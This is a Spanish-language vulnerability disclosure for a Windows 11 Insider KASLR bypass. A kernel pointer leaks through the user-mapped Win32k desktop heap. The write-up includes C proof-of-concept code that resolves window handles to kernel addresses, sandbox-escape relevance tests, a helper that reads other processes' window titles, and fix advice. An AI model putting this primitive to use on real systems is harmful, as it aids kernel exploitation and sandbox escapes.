CVE-2026-50416: Bypass de KASLR en Windows 11
En la compilación Insider de Windows 11 10.0.28020.2149, la asignación en modo usuario del montón del escritorio de Win32k exponía un puntero sin procesar del grupo del kernel de sesión en el desplazamiento 0x100.
La lectura en sí es casi ofensivamente pequeña:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
En mi sesión de prueba, eso devolvió:
0xffffc600dcc00040
El valor permaneció igual entre procesos en el mismo escritorio y cambió después de un reinicio. Un proceso lanzado en otro escritorio recibió un valor diferente porque tenía un montón de escritorio diferente. A partir de este único QWORD, el PoC recuperó la base del montón del escritorio del kernel y luego usó user32!gSharedInfo para derivar las direcciones del kernel de objetos de ventana activos.
La misma lectura funcionó desde integridad Low, AppContainer, una configuración LPAC con cero capacidades y un hijo AppContainer de integridad Low con cero capacidades.
Se supone que el montón del escritorio es compartido. El puntero del kernel no lo es.
Win32k almacena objetos USER como ventanas, menús, clases, hooks y metadatos relacionados en montones de escritorio. Cada escritorio tiene su propio montón. Parte de ese montón se asigna en los procesos asociados con el escritorio para que el modo usuario pueda leer el estado compartido de la GUI sin preguntar al kernel por cada campo.
En la compilación x64 probada, la asignación en modo usuario se puede alcanzar a través de los datos de cliente del TEB del hilo actual:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Los desplazamientos son específicos de la compilación, pero la ruta es simple:
GS:[0x30]
-> TEB
-> ClientInfo en TEB + 0x800
-> ClientInfo[5]
-> asignación del montón del escritorio en modo usuario
El PoC llama a VirtualQuery en la dirección devuelta y registra la región asignada y su protección. Nada ha salido mal todavía. Una asignación de solo lectura del montón del escritorio es un comportamiento normal de Win32k.
El problema comienza 256 bytes dentro.
El PoC principal lee un QWORD del montón asignado:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
El valor pasó las comprobaciones básicas esperadas de una dirección virtual del kernel en el sistema probado:
La prueba de estabilidad crea ventanas STATIC, BUTTON y EDIT, lee el valor antes de la creación, lo lee de nuevo mientras existen las ventanas, las destruye y lo lee una tercera vez.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Las tres lecturas devolvieron el mismo valor. La actividad de asignación de ventanas no lo movió. Ese comportamiento es consistente con un campo en los metadatos del montón del escritorio en lugar de un puntero a un objeto de corta duración.
La propiedad entre procesos es igualmente importante. Dos procesos adjuntos al mismo escritorio observan el mismo valor filtrado porque están mirando el mismo montón del escritorio. Después de un reinicio, KASLR le da a la sesión una nueva dirección. Un hijo colocado en otro escritorio observa otro puntero porque ese escritorio posee otro montón.
Eso le da a la fuga una identidad útil:
mismo arranque + mismo escritorio -> mismo puntero
mismo arranque + escritorio diferente -> puntero diferente
nuevo arranque -> puntero diferente
En la compilación probada, el puntero filtrado se encuentra 0x40 bytes por encima de la base del montón del escritorio del kernel utilizada por el PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Usando el valor de sesión registrado:
puntero filtrado = 0xffffc600dcc00040
base del montón del escritorio del kernel = 0xffffc600dcc00000
Esta relación es específica de la compilación. Para la compilación utilizada durante las pruebas, proporciona el ancla del lado del kernel necesaria para el siguiente paso.
Un puntero ya es útil. Una dirección para un objeto elegido es mucho más útil.
user32.dll exporta gSharedInfo, que expone la lista de entradas de handles USER y el tamaño de cada entrada:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Un HWND contiene un índice en la tabla de handles USER. El PoC toma los 16 bits bajos del handle, camina hasta la entrada correspondiente y lee el desplazamiento del montón del escritorio almacenado allí.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
El mismo desplazamiento nombra el objeto en ambas asignaciones:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Entonces el cálculo completo es:
base del montón del escritorio del kernel = desktop_heap[0x100] - 0x40
índice del handle = HWND & 0xffff
desplazamiento del montón = aheList[índice del handle].offset
dirección de la ventana del kernel = base del montón del escritorio del kernel + desplazamiento del montón
El PoC crea seis clases de ventana y realiza el cálculo para cada una:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPara cada objeto, imprime el HWND, el índice del handle, la dirección del objeto en modo usuario, el desplazamiento del montón y la dirección del kernel.
HWND
-> índice de handle de 16 bits bajos
-> entrada de handle de gSharedInfo
-> desplazamiento del montón del escritorio
-> base del montón del escritorio del kernel + desplazamiento
-> dirección del kernel de ese objeto de ventana
Esta es la parte que convierte la divulgación de un puntero suelto del kernel en un oráculo de direcciones para objetos USER seleccionados en el montón del escritorio probado.
El montón del escritorio llega a través de una asignación compartida. Los niveles de integridad y las restricciones de AppContainer no reescriben el contenido de esa asignación para cada proceso. Si el proceso recibe el montón del escritorio, recibe el QWORD en 0x100 junto con él.
El PoC de sandbox lanza hijos en varios contextos y hace que cada hijo lea el valor desde su propio TEB y su propia asignación del montón del escritorio.
| Contexto | Configuración | Resultado |
|---|---|---|
| Integridad media | Proceso de usuario estándar | Filtrado |
| Integridad baja | Integridad del token reducida a Low | Filtrado |
| AppContainer | Cero capacidades solicitadas | Filtrado |
| Configuración LPAC | Todas las políticas de exclusión de paquetes de aplicación, cero capacidades solicitadas | Filtrado |
| AppContainer de integridad baja | IL baja más AppContainer, cero capacidades solicitadas | Filtrado |
| Escritorio alternativo | Hijo asignado a un nuevo escritorio | Filtrado un valor diferente |
Los primeros cinco hijos estaban adjuntos al escritorio predeterminado y devolvieron la misma dirección. El hijo del escritorio alternativo devolvió otra dirección porque recibió otro montón de escritorio.
La salida del hijo tiene un formato compacto para que el padre pueda comparar resultados:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
El helper más estricto también registra el estado del token y el recuento de capacidades:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
El detalle importante no es que el hijo pueda llamar a una API especial de Win32k. No necesita una. Una vez que la asignación está presente, la fuga es una lectura de memoria normal en modo usuario.
Un helper separado realiza la lectura sin llamar a CreateWindow.
Comprueba el puntero del montón del escritorio, lee desktop_heap[0x100], carga explícitamente user32.dll, comprueba la asignación de nuevo y aún así nunca crea una ventana. Otro hijo similar a un renderizador carga user32.dll, realiza la misma lectura y sale sin crear ninguna ventana.
El resultado útil es sencillo:
No es necesario crear ningún objeto de ventana antes de leer el QWORD filtrado.
La fuga pertenece a la asignación del montón del escritorio en sí, no a una ventana creada por el proceso atacante.
supporting_proof_remote_trigger.c crea un hijo AppContainer de integridad baja con cero capacidades solicitadas. El hijo solo hace una pequeña cantidad de trabajo:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Salida registrada:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
Eso demuestra la lectura desde una configuración de token similar a un renderizador. Un error separado de corrupción de memoria del navegador que ya otorga ejecución de código nativo en tal proceso no necesitaría otra divulgación de información antes de leer este puntero del montón del escritorio.
Una vez que tuve un puntero confiable, escaneé la región asignada para ver qué más estaba presente.
El escáner encontró de seis a diez valores QWORD únicos adicionales por ejecución que pasaron las mismas comprobaciones de dirección canónica y alineación. El número exacto cambiaba con la actividad del escritorio. El desplazamiento 0x100 era la fuga primaria estable, pero no era el único valor con forma de dirección del kernel en la asignación.
El helper de datos sensibles enumera ventanas de nivel superior con EnumWindows, recopila sus PIDs propietarios y títulos, y luego busca en la asignación del montón del escritorio los mismos títulos como cadenas UTF-16.
En la ejecución registrada encontró veinte títulos únicos pertenecientes a otros procesos. Los ejemplos incluían pestañas del navegador, Discord, Explorer, Spotify y ventanas de la bandeja del sistema.
El programa solo imprime un título después de que ambas condiciones sean verdaderas:
EnumWindows informa una ventana con ese título y un PID propietario diferente del proceso de prueba.Eso hace que la salida sea fácil de verificar en lugar de depender de cadenas imprimibles aleatorias encontradas en la memoria.
El helper también escanea valores DWORD en la asignación. Un valor se cuenta solo cuando:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) tiene éxito para él.EnumWindows.La ejecución registrada encontró 605 ocurrencias DWORD coincidentes. Eso es un recuento de ocurrencias en el montón, no 605 procesos únicos. El mismo PID puede aparecer más de una vez.
El helper crea un control EDIT con ES_PASSWORD, establece su texto en SecretPassword123 y busca en la región asignada el prefijo SecretP. No se encontró en la ejecución probada.
Entonces la asignación expuso títulos, ocurrencias de PID y valores con forma de kernel, mientras que la cadena de contraseña probada no apareció allí.
Para un error de corrupción de memoria de Win32k, saber que un objeto existe no es lo mismo que saber dónde vive en la memoria del kernel.
Sin la divulgación, el atacante tiene que lidiar con una base desconocida del montón del escritorio y direcciones de objetos desconocidas. Con la divulgación, el lado de la dirección se convierte en:
leer un QWORD
restar 0x40
leer la entrada de handle objetivo
añadir su desplazamiento del montón
Para un HWND elegido, el atacante ahora tiene la dirección correspondiente del montón del escritorio del kernel en la compilación probada. Eso puede ayudar con:
La fuga resuelve el problema de la dirección. La configuración del montón, el reemplazo de objetos y la primitiva de corrupción de memoria siguen siendo partes separadas de la explotación.
Esa división importa. KASLR no detiene la corrupción de memoria. Hace que el direccionamiento confiable sea más difícil. Este QWORD elimina esa incertidumbre para la región del montón del escritorio utilizada por el PoC.
Windows 11 Insider Build 10.0.28020.2149
Usuario estándar
Integridad media como base
kaslr_bypass_poc.c: PoC principal de fuga y resolución de direcciones de ventanaskaslr_sandbox_proof.c: pruebas de IL media, IL baja, AppContainer, configuración LPAC, AppContainer de IL baja y escritorio alternativosupporting_proof_no_window.c: lectura sin crear una ventanasupporting_proof_no_caps_lpac.c: configuraciones AppContainer y LPAC de cero capacidadessupporting_proof_sensitive_data.c: títulos, ocurrencias de PID, escaneo de punteros adicionales y comprobación del campo de contraseñasupporting_proof_exploitability.c: seis clases de ventana y cálculos de direcciones del kernelsupporting_proof_remote_trigger.c: hijo AppContainer de IL baja similar a un renderizadorcompile.bat: menú de compilaciónEjecute:
compile.bat
Seleccione el objetivo del menú.
El PoC principal también se puede compilar directamente desde un símbolo del sistema de desarrollador de Visual Studio:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
Ejecute el PoC principal dos veces sin reiniciar:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
El puntero en desktop_heap + 0x100 debería ser idéntico en ambas ejecuciones.
Abra una segunda terminal y ejecútelo desde otro proceso en el mismo escritorio. El valor debería coincidir de nuevo.
Reinicie y repita. El valor debería cambiar.
kaslr_sandbox_proof.exe
La prueba lanza cada hijo, captura su salida y compara los valores filtrados. Los hijos en el escritorio predeterminado deberían informar el mismo valor. El hijo del escritorio alternativo debería informar un valor diferente.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
Cada helper aísla una parte del resultado para que pueda reproducirse sin leer toda la salida del PoC completo.
La asignación en modo usuario no debería contener direcciones virtuales sin procesar del kernel.
La corrección más pequeña es sanear el campo del encabezado del montón del escritorio antes de que la página se vuelva visible en modo usuario. Windows ya usa un valor opaco 0x6000000000 para otros campos de puntero del montón del escritorio, por lo que el mismo estilo de reemplazo podría usarse aquí si el modo usuario todavía necesita el campo.
Si el modo usuario no necesita la página del encabezado, la corrección más limpia es no exponer esa página en la asignación compartida.
La prueba de regresión es simple: crear procesos en configuraciones de IL media, IL baja, AppContainer y LPAC, asignar el montón del escritorio y rechazar cualquier dirección canónica del kernel encontrada en el encabezado visible para el usuario.
Toda la cadena comienza con una lectura ordinaria de una asignación de solo lectura:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Ese QWORD identifica el montón del escritorio del kernel. gSharedInfo proporciona el desplazamiento por objeto. Juntos convierten un HWND de modo usuario en la dirección correspondiente del kernel en la compilación probada.
No hay ningún desencadenante complicado escondido aquí. Windows puso el montón del escritorio donde el modo usuario pudiera leerlo, y luego dejó un puntero del kernel dentro de la parte que compartió.
Un QWORD fue suficiente.